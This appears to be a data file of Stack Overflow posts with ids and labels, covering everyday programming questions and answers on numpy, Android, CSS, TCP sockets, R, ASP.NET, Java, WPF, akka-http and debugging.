37498236	0	 <p>numpy <strong>vectorized</strong> approach will be <strong>much</strong> faster compared to regular for/list comprehension/etc. especially on big lists:</p> <pre><code>import numpy as np listA = np.array([51, 988, 1336, 2067, 1857, 3160]) listB = np.array([1, 2, 3, 4, 5, 6]) result = listA / np.pi * ((listB*0.1)+1)**2 - np.pi * (listB*0.1)**2 </code></pre> <p>Output:</p> <pre><code>In [175]: result Out[175]: array([ 19.61148715, 452.74017757, 718.41005008, 1289.07255327, 1329.19288378, 2573.86868192]) </code></pre> <p><strong>Timing and comparison on two 1M lists:</strong></p> <pre><code>In [183]: A = np.random.randint(1,100, 10**6) In [184]: B = np.random.randint(1,100, 10**6) In [185]: formula = lambda n,x: n / pi * ((x*0.1)+1)**2 - pi * (x*0.1)**2 </code></pre> <p>Vectorized numpy approach:</p> <pre><code>In [186]: %timeit formula(A, B) 10 loops, best of 3: 65.4 ms per loop </code></pre> <p>List comprehension:</p> <pre><code>In [191]: %timeit [ formula(a,b) for a,b in zip(A.tolist(),B.tolist()) ] 1 loop, best of 3: 3.6 s per loop </code></pre> <p><strong>Conclusion:</strong> vectorized approach is 55 times faster</p>
12512366	0	Broadcast Receiver and Alarm manager <p>Hello I am building a news application in android, so that every time a new data is entered into database user must receive a notification in the notification bar. So after research I found that I have to use broadcast receiver and alarm manager. But what I am not able to understand is that when the application is closed how it will know that a new data is entered? and how to make the alarm manager activate the application for checking new data let's say every 5 minutes? Thank you.</p>
14097522	0	 <pre><code>#menu { postion:fixed; top:0; background:#3B5998; same color as fb has width:100%; height:46px; left:0; z-index:2; //give this so, your header or menu will not get under content! } </code></pre>
4937427	0	 <p>Try setting a specific width on div_timestamp, with JavaScript or CSS, 113px would do it for you.</p>
29361160	0	How to handle 'half-open' connections- managing client-side socket crash <p>We have a code of Client-Server written in 'C' underlying TCP protocol. The regular socket operations are being performed on both Client and Server. And <code>select()</code> function is being used to monitor multiple connections 'read/ write' mechanisms. The connection has been successfully <code>ESTABLISHED</code>. And using the same <code>select()</code> the connected client sends a message to server for releasing the connection. Up-to this we are happy.</p> <p>The main problem comes when the Client has some issues and has crashed/ stuck-up/ hanged in the middle or because of some other reasons mentioned in here: <a href="http://blog.stephencleary.com/2009/05/detection-of-half-open-dropped.html" rel="nofollow">Detection of Half-Open (Dropped) Connections</a>. The author mentioned about the 'four-way' handshaking! But how can we know the status of the client that has crashed until it sends some signal to Server? Is there a way to know about whether my client is still running (alive) or has some problems (dead) such that the Server closes that particular socket connection that was established? Please let us know. Thank you all... :)</p>
4373783	0	 <p>I do not completely understand what do you mean by opening two shells ? If you run your silverlight application in two different windows or you have 2 instances of your WPF app then your Shells do not conflict. Even if you have one application with 2 instances of Bootstrapper there is no conflict - your two shells work completely independently. Let me know whether this help.</p>
9941015	0	 <p>There's no built-in way to do that, you'd have to generate the XML yourself. That said, there are two cmdlets in PowerShell that creates an XML-based representation of an object: <code>Export-CliXml</code> and <code>ConvertTo-Xml</code>. Check the help for more information.</p>
25893800	0	r: how to remove row numbers coming from a separate list in multiple data frames using lapply <p>I have many data frames organized in a list object. And I have a second list of vectors, that contain row numbers that I want to remove in my data frames. The rows to be removed are different for each data frame. Therefore the number of elements in the list of data frames is equal to the number of elements in the list of vectors. Here the code I've tried out:</p> <pre><code>test_list&lt;-vector(mode="list",5) test_list&lt;-lapply(test_list, function(x) data.frame(1,1:10,"c")) vec_list&lt;-vector(mode="list",5) vec_list&lt;-lapply(vec_list, function (x) x&lt;-sample(seq(1,10),4)) clean_list&lt;-lapply(test_list, function (x,y) clean_list&lt;-x[-y,],vec_list) </code></pre>
15980707	0	 <p>You can create a custom filter that inherits from FilterAttribute and implements IExceptionFilter. Then register it in global.asax.cs. Also you must enable custom errors handling in the web.config: </p> <pre><code>&lt;customErrors mode="On"/&gt; public class HandleErrorAndLogExceptionAttribute : FilterAttribute, IExceptionFilter { /// &lt;summary&gt; /// The method called when an exception happens /// &lt;/summary&gt; /// &lt;param name="filterContext"&gt;The exception context&lt;/param&gt; public void OnException(ExceptionContext filterContext) { if (filterContext != null &amp;&amp; filterContext.HttpContext != null) { if (!filterContext.IsChildAction &amp;&amp; (!filterContext.ExceptionHandled &amp;&amp; filterContext.HttpContext.IsCustomErrorEnabled)) { // Log and email the exception. This is using Log4net as logging tool Logger.LogError("There was an error", filterContext.Exception); string controllerName = (string)filterContext.RouteData.Values["controller"]; string actionName = (string)filterContext.RouteData.Values["action"]; HandleErrorInfo model = new HandleErrorInfo(filterContext.Exception, controllerName, actionName); // Set the error view to be shown ViewResult result = new ViewResult { ViewName = "Error", ViewData = new ViewDataDictionary&lt;HandleErrorInfo&gt;(model), TempData = filterContext.Controller.TempData }; result.ViewData["Description"] = filterContext.Controller.ViewBag.Description; filterContext.Result = result; filterContext.ExceptionHandled = true; filterContext.HttpContext.Response.Clear(); filterContext.HttpContext.Response.TrySkipIisCustomErrors = true; } } } </code></pre>
38297444	0	 <p>Unless you really need them, it's easiest not to store the numbers you generate any longer than you need, as there will be 250640000 of them, taking about a Gb of memory. Instead, you can just call <code>table</code> immediately on them. Using <code>replicate</code> instead of a <code>for</code> loop (you're not using <code>i</code> anyway) will put the results into a nice matrix for you too:</p> <pre><code>Record &lt;- replicate(5000, table(sample(x = 0:9, size = 50128, replace = T))) Record[, 1:10] ## [,1] [,2] [,3] [,4] [,5] [,6] [,7] [,8] [,9] [,10] ## 0 4999 4971 4919 5116 5101 5016 4861 5109 5063 4991 ## 1 5060 4959 4935 5047 5142 4927 5005 4920 5098 5023 ## 2 4916 4954 5019 4966 4994 4954 5049 5013 5031 5081 ## 3 4907 5007 5075 5042 4993 5015 5078 5037 4936 5073 ## 4 5117 4935 5003 5000 4970 5084 5008 4948 5115 5010 ## 5 4966 5146 5054 4944 5048 4935 5016 5104 5042 5010 ## 6 5055 4899 4964 5006 4977 5076 4943 5048 5064 4817 ## 7 5082 5040 5070 5034 4976 5056 5049 5012 4985 4983 ## 8 5094 5108 5014 4949 5052 5037 5073 5000 4894 5082 ## 9 4932 5109 5075 5024 4875 5028 5046 4937 4900 5058 </code></pre> <p>If you really need to store the numbers as well, you can use a similar approach:</p> <pre><code># Make a matrix of terms. Warning: big. Terms &lt;- replicate(5000, sample(x = 0:9, size = 50128, replace = T)) # Apply table to each column (set of samples) Record &lt;- apply(Terms, 2, table) </code></pre> <p>Alternately, if you're storing the samples, instead of using <code>replicate</code> you could just sample directly into a matrix:</p> <pre><code>Terms &lt;- matrix(sample(x = 0:9, size = 50128 * 5000, replace = T), nrow = 50128) Record &lt;- apply(Terms, 2, table) </code></pre> <p><code>Record</code> (and <code>Terms</code>, if stored) will look the same regardless, though the time required may vary.</p>
1488531	0	.Net WinForm System Beep on a 64 Bit OS <p>My application needs to beep when validation fails so the user (who may be several feet away) may hear it. I'd like to use the <code>Console.Beep()</code> but this is <a href="http://msdn.microsoft.com/en-us/library/8hftfeyw.aspx" rel="nofollow noreferrer">unavailable in a x64 environment (see the remarks)</a>. There may or may not be speakers in/at the computer, so I can't use <code>System.Media.SystemSounds.Beep.Play()</code>. </p> <p>The current target platform is a x86 environment, but I'd like to have the ability for the application to run in x64 also.</p> <p>Is there a way to do this or should I just give up?</p> <p><strong>Edit</strong>: Added link to the method.</p>
38611508	0	getting duplicate values in map for every key <p>I am trying to put all values in map and i have more then 20k values , now I am trying to put values in map by using idea as key 1 contains values from 1(consider i) to 1000 (i.e i*1000) but the output I'm getting contains duplicate values (key 1 &amp; 2 have same values), not sure what wrong I am doing </p> <p>here is code</p> <pre><code> public class GetNumbers { public static List&lt;String&gt; createList() throws IOException { List&lt;String&gt; numbers = new LinkedList&lt;&gt;(); Path path = null; File file = null; BufferedReader reader = null; String read = ""; try { path = Paths.get("file.txt"); file = path.toFile(); reader = new BufferedReader(new FileReader(file)); while ((read = reader.readLine()) != null) { numbers.add(read); } } catch (FileNotFoundException e) { e.printStackTrace(); } return numbers; } public static Map&lt;Integer, List&lt;String&gt;&gt; createNewFiles() throws IOException { Map&lt;Integer, List&lt;String&gt;&gt; myMap = new HashMap&lt;&gt;(); List&lt;String&gt; getList = GetNumbers.createList(); List&lt;String&gt; list = null; int count = getList.size() / 1000; ---------------------------doubt full code----------------------------------- for (int i = 1; i &lt;= count; i++) { if (getList.size() &gt; 1000) { list = getList.subList(i, i * 1000); } else if (getList.size() &lt; 999) { list = getList.subList(i, getList.size()); } ----------------------------------------------------------------------------- myMap.put(i, list); } return myMap; } public static void getMap() throws IOException { Map&lt;Integer, List&lt;String&gt;&gt; map = GetNumbers.createNewFiles(); List&lt;String&gt; listAtIndexOne = map.get(2); List&lt;String&gt; listAtIndexTwo = map.get(1); for (String elementFromFirstList : listAtIndexOne) { for (String elementFromSecondList : listAtIndexTwo) { if (elementFromFirstList.equals(elementFromSecondList)) { System.out.println("duplicate copy"); } } } } public static void main(String[] args) { try { GetNumbers.getMap(); } catch (IOException e) { e.printStackTrace(); } } } </code></pre> <p><strong>EDIT</strong></p> <p>if I change my Code to </p> <pre><code>for (int i = 0; i &lt;= count; i++) { if (getList.size() &gt; (i * 1000)) { list = getList.subList(i, (i + 1) * 1000); } else if (getList.size() &lt; 999) { list = getList.subList(i, getList.size()); } myMap.put(i, list); } </code></pre> <p>I'm getting</p> <blockquote> <p>Exception in thread "main" java.lang.IndexOutOfBoundsException: toIndex = 25000 at java.util.SubList.(Unknown Source) at java.util.AbstractList.subList(Unknown Source) at com.dnd.GetNumbers.createNewFiles(GetNumbers.java:43) at com.dnd.GetNumbers.getMap(GetNumbers.java:54) at com.dnd.GetNumbers.main(GetNumbers.java:69)</p> </blockquote> <p>Any help is appreciated</p> <p>Thanks </p>
26495170	0	 <p>One could use Where-Object</p> <p><code> if ((Get-Service | Where-Object {$_.Name -eq $serviceName}).length -eq 1) { "Service Exists" } </code></p>
25614742	0	 <p>There are many ways. Check this out:</p> <pre><code>&lt;img id="theImage" src="" /&gt; &lt;ul&gt; @foreach (var i in Model.Picture) { &lt;li&gt;&lt;a href="#" data-image="@i.picturePath" class="change-image"&gt;@i.picturePath&lt;/a&gt;&lt;/li&gt; } &lt;/ul&gt; &lt;script type="text/javascript"&gt; $(function () { //Click event for the image links $('.change-image').click(function (e) { e.preventDefault(); e.stopPropagation(); $('#theImage').attr('src', $(this).data('image')); }); //Display the first link $('#theImage').attr('src', $('ul li:first-child a.change-image').data('image')); }); &lt;/script&gt; </code></pre> <p>Notice that I'm using jQuery.</p> <p>Please let me know if this helps.</p>
5104402	0	Shared Access 2003 database performance <p>I've to create a Access 2003 database and share it among 100 users, users won't be doing any modifications, only viewing several reports that are generated daily (and once) using a scheduled task on the host machine.</p> <p>Would a simultaneous 100 users break the performances down in that context?</p> <p>What would you advise me regarding this workflow?</p> <p>Exclude:</p> <ul> <li>Using a database server (sqlserver,...etc) is out of topic</li> <li>I've already thought about outputting the reports into static html, but now I want to first evaluate the sharing of the whole database (because filtering capability might be needed)</li> <li>I'd like to avoid replication</li> </ul>
16048022	0	 <p>It means your <code>dataArray</code> is used to give a sorted array based on the comparison of the "1" property of each element of the original array. </p> <p>For example if it is an array of strings, the second char is used as the comparator. If it is an array of arrays, the second element of each array is used. </p> <p>Its a shortcut for defining an iterator function which extract the given property of each item.</p> <p>Then reverse does what it has always done, reversing the array.</p>
39547700	0	unexpected title bar behavior in WPF RibbonWindow <p>i am using the Microsoft ribbon control. i need to merge the ribbon title bar and the window title bar but i get very bad results as it is shown in below picture. Also what i need is in the picture.</p> <p>please provide me the solution for these:</p> <ul> <li>the title bar to be usual as other applications like paint.</li> <li>show the quick access toolbar items in title bar</li> </ul> <p>thank you</p> <p><a href="https://i.stack.imgur.com/J1AM3.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/J1AM3.jpg" alt="enter image description here"></a></p> <p>the code in xaml is as below:</p> <pre><code>&lt;ribbon:RibbonWindow x:Uid="RibbonWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:ribbon="clr-namespace:Microsoft.Windows.Controls.Ribbon;assembly=RibbonControlsLibrary" xmlns:telerikDocking="clr-namespace:Telerik.Windows.Controls;assembly=Telerik.Windows.Controls.Docking" x:Class="WpfRibbonApplication1.MainWindow" Title="MainWindow" x:Name="RibbonWindow" Width="640" Height="480"&gt; &lt;Grid x:Uid="LayoutRoot" x:Name="LayoutRoot"&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition x:Uid="RowDefinition_1" Height="Auto"/&gt; &lt;RowDefinition x:Uid="RowDefinition_2" Height="*"/&gt; &lt;/Grid.RowDefinitions&gt; &lt;ribbon:Ribbon x:Uid="Ribbon" x:Name="Ribbon" Title="Ribbon Title"&gt; &lt;ribbon:Ribbon.HelpPaneContent&gt; &lt;ribbon:RibbonButton x:Uid="ribbon:RibbonButton_1" Content="1" /&gt; &lt;/ribbon:Ribbon.HelpPaneContent&gt; &lt;ribbon:Ribbon.QuickAccessToolBar&gt; &lt;ribbon:RibbonQuickAccessToolBar x:Uid="ribbon:RibbonQuickAccessToolBar_1" &gt; &lt;ribbon:RibbonButton x:Uid="QATButton1" x:Name="QATButton1" Content="2" /&gt; &lt;ribbon:RibbonButton x:Uid="QATButton2" x:Name="QATButton2" Content="3" /&gt; &lt;/ribbon:RibbonQuickAccessToolBar&gt; &lt;/ribbon:Ribbon.QuickAccessToolBar&gt; &lt;ribbon:Ribbon.ApplicationMenu&gt; &lt;ribbon:RibbonApplicationMenu x:Uid="ribbon:RibbonApplicationMenu_1"&gt; &lt;ribbon:RibbonApplicationMenuItem x:Uid="MenuItem1" Header="Hello _Ribbon" x:Name="MenuItem1" /&gt; &lt;/ribbon:RibbonApplicationMenu&gt; &lt;/ribbon:Ribbon.ApplicationMenu&gt; &lt;ribbon:RibbonTab x:Uid="HomeTab" x:Name="HomeTab" Header="Home"&gt; &lt;/ribbon:RibbonTab&gt; &lt;/ribbon:Ribbon&gt; &lt;/Grid&gt; </code></pre> <p></p>
30485991	0	 <p>The answer is: You cannot use an alias name in GROUP BY.</p> <p>So:</p> <pre><code>GROUP BY (SELECT customer_address.post_code ...); </code></pre> <p>Or:</p> <pre><code>select postcode, sum(order_no) from ( SELECT (SELECT customer_address.post_code FROM customer_address WHERE customer_address.address_type = 0 AND customer_address.customer_no = orders.customer_no) postcode, orders.order_no FROM orders, customer_address WHERE orders.delivery_date = '27-MAY-15' ) GROUP BY postcode; </code></pre> <p>EDIT:</p> <p>However, your query seems wrong. Why do you cross-join orders and customer_address? By mistake I guess. Use explicit joins (<code>INNER JOIN customer_address ON ...</code>), when using joins to avoid such errors. But here I guess you'd just have to remove <code>, customer_address</code>.</p> <p>Then why do you add order numbers? That doesn't seem to make sense.</p>
7084812	0	 <pre><code>TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); </code></pre>
30332291	0	Excel Visual Basic Run-time error '1004' when initializing a variable <p>I am learning visual basic and this script I'm using is coming up with an error when I am initializing the variable <code>i</code>.</p> <p>I'm not sure what the problem is but I am getting the error message:</p> <blockquote> <p>Run-time error '1004': Application-defined or object-defined error</p> </blockquote> <p>Here is my code:</p> <pre><code>Sub excelmacro() Sheets("Sheet1").Select Range("A1").Select Sheets("Sheet2").Select Range("B1").Select i = 1 While i &lt;&gt; 10 If Len(ActiveCell.Value) &gt; 1 Then Sheets("Sheet1").Select xname = Right(ActiveCell.Value, Len(ActiveCell.Value) - 6) xsalary = Right(ActiveCell.Value, Len(ActiveCell.Offset(2, 0).Value) - 8) xdesignation = Right(ActiveCell.Value, Len(ActiveCell.Offset(1, 0).Value) - 13) Sheets("Sheet2").Select ActiveCell.Value = xname ActiveCell.Offset(0, 1).Value = xdesig ActiveCell.Offset(0, 3).Value = xsalary ActiveCell.Offset(1, 0).Select Sheets("Sheet1").Select ActiveCell.Offset(3, 0).Select Else i = 10 End If Wend End Sub </code></pre>
8779108	0	How do I make a libGDX Desktop application resizable? <p>libGDX Applications must implement the .resize(int width, int height) method, so I figured that resizing a libGDX app is not a big deal, but I found no way to make the actual application JFrame or whatever that is draggable as with JFrame.setResizable(true). Is that simply not possible with libGDX ?</p>
32369957	0	 <p>Maybe your routing can be simplified as follows</p> <pre><code>angular.module("nk.login", [ 'ngRoute', 'ngAnimate' ]). config(['$stateProvider',function($stateProvider){ $stateProvider .state('app.login', { url: '/login', templateUrl: 'src/login/templates/login.html', controller: 'loginController' }) .state('app.forgotPassword', { url: '/forgot', templateUrl: 'src/login/templates/forgotPassword.html', controller: 'forgotPasswordController' }) }]); </code></pre> <p>Is there any specific reason for the views/content property?</p>
3615473	0	 <p>Perhaps, one way that I can think of is </p> <ol> <li>Create a wrapper class - say KeyProcessor to queue up items for a key. </li> <li>KeyProcessor.Run() method will be capable of whatever queuing semantics that you need for. Essentially it would look for internal queue for any pending work and then keep doing it sequentially.</li> <li>Maintain the dictionary of KeyProcessor objects.</li> <li>For any new task, check in the dictionary for the same key. If does not exist then add it. Queue the task on it. If its not running then schedule it with TPL using Run method as action.</li> <li>Use ContinueWith to schedule maintainer task - for example, whenever Task executing KeyProcessor.Run is completed, continuation tasks can check if there are any more tasks been scheduled for the same key (since it has completed) and start it again OR remove from dictionary.</li> </ol> <p>All above would have been tricky from thread sync point not for few interesting collections present in <a href="http://msdn.microsoft.com/en-us/library/system.collections.concurrent.aspx" rel="nofollow noreferrer">System.Collections.Concurrent</a> namespace. This would make the above logic much more simpler. For example, <a href="http://msdn.microsoft.com/en-us/library/ee378677.aspx" rel="nofollow noreferrer">ConcurrentDictionary.GetOrAdd </a> will allow to lookup and/or add the KeyProcessor object in thread-safe way.</p>
4214547	0	Windows Mobile - Hide Application <p>I am developing an application for enterprise which can be installed on employee phones to track usage of phones and enforce certain security policies on phone.</p> <p>My application needs to be hidden. It should not be shown in: </p> <ol> <li>Running Programs in Task Manager</li> <li>Program Files</li> </ol> <p>How to do above using .NETCF 2.0 and C#?</p>
37951439	0	 <p>Found my answer in <a href="http://vimcasts.org/episodes/the-file-explorer/" rel="nofollow">this</a> Vimcast. <code>:Explore</code> or <code>:E</code> will open up Netrw in the current file's directory. I got an <code>ambiguous use of user-defined command</code> error at first when I tried to use <code>:E</code>, but <a href="http://stackoverflow.com/questions/14367440/map-e-to-explore-in-command-mode">this</a> SO answer helped fix that. I just had to add this command to my <code>.vimrc</code>, <code>command! -nargs=* -bar -bang -count=0 -complete=dir E Explore &lt;args&gt;</code>. <code>:E</code> only works if there are no other possible commands that start with <code>:E</code>.</p>
36366818	0	 <p>There are well-tested wheels used to tear apart URLs into the component parts so use them. Ruby comes with <a href="http://ruby-doc.org/stdlib-2.3.0/libdoc/uri/rdoc/URI.html" rel="nofollow">URI</a>, which allows us to easily extract the <code>host</code>, <code>path</code> or <code>query</code>:</p> <pre><code>require 'uri' URL = 'http://foo.com/a/b/c?d=1' URI.parse(URL).host # =&gt; "foo.com" URI.parse(URL).path # =&gt; "/a/b/c" URI.parse(URL).query # =&gt; "d=1" </code></pre> <p>Ruby's <a href="http://ruby-doc.org/core-2.3.0/Enumerable.html" rel="nofollow">Enumerable</a> module includes <a href="http://ruby-doc.org/core-2.3.0/Enumerable.html#method-i-reject" rel="nofollow"><code>reject</code></a> and <a href="http://ruby-doc.org/core-2.3.0/Enumerable.html#method-i-select" rel="nofollow"><code>select</code></a> which make it easy to loop over an array or enumerable object and reject or select elements from it:</p> <pre><code>(1..3).select{ |i| i.even? } # =&gt; [2] (1..3).reject{ |i| i.even? } # =&gt; [1, 3] </code></pre> <p>Using all that you could check the host of a URL for sub-strings and reject any you don't want:</p> <pre><code>require 'uri' %w[ http://www.speedtest.net/ http://webcache.googleusercontent.com/search%3Fhl%3Den%26biw%26bih%26q%3Dcache:M47_v0xF3m8J ].reject{ |url| URI.parse(url).host[/googleusercontent\.com$/] } # =&gt; ["http://www.speedtest.net/"] </code></pre> <p>Using these methods and techniques you can reject or select from an input file, or just peek into single URLs and choose to ignore or honor them.</p>
37363011	0	 <p>Let try this query instead:</p> <pre><code>uniqBk = Bikehistory.where("JOIN ( SELECT id, DISTINCT bike_numbers FROM bikehistories ) as temp ON temp.id = id") .order(:bike_numbers) </code></pre>
33602227	0	 <p>Use modulus operator <code>%</code>, this makes sure character stays in range between A to Z. </p> <pre><code>char c = 'A' + shift % 26; </code></pre> <p>You can shift letters to the right, then once letter reaches Z, the next letter will be A</p> <pre><code>int main() { int row, col; for (row = 0; row &lt; 26; row++) { for (col = 0; col &lt; 26; col++) { char c = 'A' + (row + col) % 26; printf("%c ", c); } printf("\n"); } printf("\n"); return 0; } </code></pre>
1738329	0	Should I send retain or autorelease before returning objects? <p>I thought I was doing the right thing here but I get several warnings from the Build and Analyze so now I'm not so sure. My assumption is (a) that an object I get from a function (dateFromComponents: in this case) is already set for autorelease and (b) that what I return from a function should be set for autorelease. Therefore I don't need to send autorelease or retain to the result of the dateFromComponents: before I return it to the caller. Is that right?</p> <p>As a side note, if I rename my function from newTimeFromDate: to gnuTimeFromDate the analyzer does not give any warnings on this function. Is it the convention that all "new*" methods return a retained rather than autoreleased object?</p> <p>In <a href="http://developer.apple.com/mac/library/documentation/Cocoa/Conceptual/MemoryMgmt/Articles/mmRules.html#//apple_ref/doc/uid/20000994-BAJHFBGH" rel="nofollow noreferrer">Memory Management Programming Guide for Cocoa</a> it says "A received object is normally guaranteed to remain valid within the method it was received" and that "That method may also safely return the object to its invoker." Which leads me to believe my code is correct. </p> <p>However, in <a href="http://oreilly.com/pub/a/mac/excerpt/Cocoa_ch04/index.html" rel="nofollow noreferrer">Memory Management in Cocoa</a> it says "Assume that objects obtained by any other method have a retain count of 1 and reside in the autorelease pool. If you want to keep it beyond the current scope of execution, then you must retain it." Which leads me to think I need to do a retain before returning the NSDate object.</p> <p>I'm developing with Xcode 3.2.1 on 10.6.2 targeting the iPhone SDK 3.1.2.</p> <p><img src="http://nextsprinter.mggm.net/Screen%20shot%202009-11-15%20at%2008.33.00.png" alt="screenshot of build/analyze output"></p> <p>Here's the code in case you have trouble reading the screen shot:</p> <pre><code>//============================================================================ // Given a date/time, returns NSDate for the specified time on that same day //============================================================================ +(NSDate*) newTimeFromDate:(NSDate*)fromDate Hour:(NSInteger)hour Minute:(NSInteger)min Second:(NSInteger)sec { NSCalendar* curCalendar = [NSCalendar currentCalendar]; const unsigned units = NSYearCalendarUnit | NSMonthCalendarUnit | NSDayCalendarUnit; NSDateComponents* comps = [curCalendar components:units fromDate:fromDate]; [comps setHour: hour]; [comps setMinute: min]; [comps setSecond: sec]; return [curCalendar dateFromComponents:comps]; } </code></pre>
21976194	0	 <p>Checking for the prior existence of <code>message_id</code> seems to have solved the problem in my particular case:</p> <pre><code>after_commit on: :create do unless self.message_id if email = Mailer.email(self).deliver self.update message_id: email.message_id end end end </code></pre> <p>But I imagine there could be a scenario where I couldn't get away with that, so it'd still be good to understand why an <code>on: :create</code> callback is being called on update.</p>
36138295	0	 <p>The classic answer to such questions is to create a SQL VIEW.</p> <p>Views are like dynamic virtual tables - in queries you use the view name instead of a table name, and the DBMS runs the query defined by the view to produce the rows for the query on the view. You therefore see rows based on the data from the tables at the time you access the view, not at the time the view was created.</p> <p>You would create this view with a statement such as</p> <pre><code>CREATE VIEW PROT_WITH_UNITS AS SELECT * FROM dna_extraction_protocols P JOIN measurement_units M ON P.volume_unit = M.id </code></pre> <p>This will give you a view with all columns of both tables, pre-joined on (what I presume to be) the required foreign key.</p> <p>If you get the definition wrong you can drop views just like tables, so you should get there eventually.</p>
2726557	0	 <p>You could do this with a bit simpler logic using <code>KeyPress</code> instead, like this:</p> <pre><code>string buffer = ""; //buffer to store what the user typed: n, no, not, etc... void gkh_KeyPress(object sender, KeyPressEventArgs e) { buffer += e.KeyChar; //add key to the buffer, then check if we've made progress if (buffer.IndexOf("note") &gt; -1) { this.Show(); //"notes" matched completely buffer = ""; //reset for another run } else if ("note".IndexOf(buffer) != 0) { buffer = ""; //Another key not in sequence was hit } } </code></pre>
3434046	0	Problem in M3G rendering in J2ME <p>I have made 3 planes and positioned them in a way that they make a corner of cube. (For some reasons I don't want to make a cube object). The 3 planes have 3 different Texture2Ds with different images. The strange problem is when I render the 3 objects and start rotating the camera, in some perspectives some parts of these 3 planes don't get rendered. For example when I look straight at the corner a hole is created which is shaped as a triangle. This is the image of the problem in a netbeans emulator: <img src="http://www.pegahan.com/m3g.jpg" alt="alt text"> I put the red lines there so you can see the cube better. The other strange thing is that the problem resolves when I set the scale of the objects to 0.5 or less. By the way the camera is in its default position and the cube's center is at (0,0,0) and each plane has a width and height of 2. Does anyone have any ideas why these objects have a conflict with each other and how could I resolve this problem.</p> <p>Thanks in advance</p>
15868328	0	 <p>I've found what happens, and it can be usefull for others. @Mark Ormston was not so far : Cookies set with path /cas are send by IE10 to URL beginings with /cas-services</p> <p>In my case /cas and /cas-services are not in the same WebApp and each have its own JSESSIONID. Sending JSESSIONID created for /cas to /cas-services lead to the problem describe above.</p> <p>To correct, I simply rename /cas-services with /app-services (I guess that everything not beginning with /cas should work).</p> <p>JM.</p>
32132528	0	Akka-Http + Twitter streaming API <p>I recently got an interest into trying out some of the streaming capabilities in the Scala world. This happened while I was reading up on the Iteratee API in Play 2.</p> <p>However, people seem to think the Iteratee API is close to deprecation, and have recommended me one of the following libs:</p> <ul> <li>scalaz-stream</li> <li>akka-streams, or more specifically, akka-http</li> </ul> <p>I didn't really feel like getting into the scalaz world, so I decided to check out akka-http.</p> <p>Unfortunately, documentation seems to be very sparse on the subject of akka-http at the moment, and I'm having a lot of trouble getting everything to work.</p> <p>As per usual, I chose everyone's favourite source of streaming data to play around with: Twitter.</p> <p>Googling the subject mostly leads to either</p> <ul> <li>Matthias Nehlsens's excellent work on his <a href="http://matthiasnehlsen.com/blog/2013/09/10/birdwatch-explained/" rel="nofollow">BirdWatch project</a>. Unfortunately, he still uses the Iteratees.</li> <li>People using akka-streams with a Twitter client, but I'm not very fond of using those, as I won't be really learning much from those.</li> </ul> <p>Performing a basic GET request with akka-http seems to be structured somewhat like this:</p> <pre><code>object AkkaHttpExample extends App { implicit val system = ActorSystem("akka-http-example") implicit val materializer = ActorMaterializer() import system.dispatcher val connectionFlow: Flow[HttpRequest, HttpResponse, Future[Http.OutgoingConnection]] = Http().outgoingConnection("www.stackoverflow.com", 80) val request: HttpRequest = HttpRequest( HttpMethods.GET, uri = "/" ) val future: Future[HttpResponse] = Source.single(request) .via(connectionFlow) .runWith(Sink.head) val result: HttpResponse = Await.result(future, 5 seconds) } </code></pre> <p>The code above works (though parsing the body of the results is pretty annoying for some reason).</p> <p>When I try to do the same but pointing to the <code>/1.1/statuses/sample.json</code> endpoint (which should emit an example stream), my Future just sits there and times out. While this may seem logical given the streaming nature of the data, this should instead return a 404, because at this point I'm not even doing proper OAuth.</p> <p>For reference, this is my code so far at this point:</p> <pre><code>object AkkaHttpExample extends App { implicit val system = ActorSystem("akka-http-example") implicit val materializer = ActorMaterializer() import system.dispatcher val connectionFlow: Flow[HttpRequest, HttpResponse, Future[Http.OutgoingConnection]] = Http().outgoingConnection("stream.twitter.com", 80) val request: HttpRequest = HttpRequest( HttpMethods.GET, uri = "/1.1/statuses/sample.json" ) val future: Future[HttpResponse] = Source.single(request) .via(connectionFlow) .runWith(Sink.head) val result: HttpResponse = Await.result(future, 50 seconds) } </code></pre> <p>Like I said, I figured that maybe the streaming nature of this might be causing the problem regardless, so I tried to change my code to handle the chunks one by one based on the only examples I could find, as shown here:</p> <pre><code>object AkkaHttpExample extends App { implicit val system = ActorSystem("akka-http-example") implicit val materializer = ActorMaterializer() import system.dispatcher val connectionFlow: Flow[HttpRequest, HttpResponse, Future[Http.OutgoingConnection]] = Http().outgoingConnection("stream.twitter.com", 80) val request: HttpRequest = HttpRequest( HttpMethods.GET, uri = "/1.1/statuses/sample.json" ) Source.single(request) .via(connectionFlow) .map(_.entity.dataBytes) .flatten(FlattenStrategy.concat) .map(_.decodeString("UTF-8")) .runForeach(println _) .onComplete(_ =&gt; system.terminate()) } </code></pre> <p>This causes the application to terminate immediately. Remove the <code>.onComplete</code> clause keeps the ActorSystem and the application running, but nothing seems to actually happen :'(</p> <p>Does anyone have any experience with this? The library has been one huge headache so far. Should I go back to Play + WS + Iteratees?</p>
8669640	0	 <p>Debugging itself is the process of finding and exterminating bugs, nothing more and nothing less. So unless you're a perfect programmer who never makes any mistakes, you've done it.</p> <p>A <em>debugger</em>, on the other hand, is a tool which assists in debugging. You can still debug without a debugger, but using a debugger gives you more options, and ways to go about it.</p> <p>Without you mentioning specifically which debugger you're talking about (Visual Studio one, or gdb, or...) we can't really tell you how to use it, but, in a nutshell:</p> <p>A debugger will let you execute the code one instruction at a time, or one line at a time. It will let you run your code until a place you're interested in, then stop. While the code is stopped, you can inspect the values of the variables to make sure things are in order, and in some cases even modify things on the run to test various scenarios.</p> <p>Some of the techniques of debugging without using a debugger are:</p> <ul> <li>print insertion, where you litter your code with printing commands that will allow you to track the state of your code while it is running,</li> <li>code reading, where you read the code and try to find the places where your intention differs from what is actually written</li> <li>mug conversations, where you try to explain your code to your friend (or a mug, or a penguin doll on your desk), and in the process see where your logic goes wrong</li> <li>binary cut search, where you delete chunks of your code at a time and see if the error is still present</li> </ul> <p>and many more.</p>
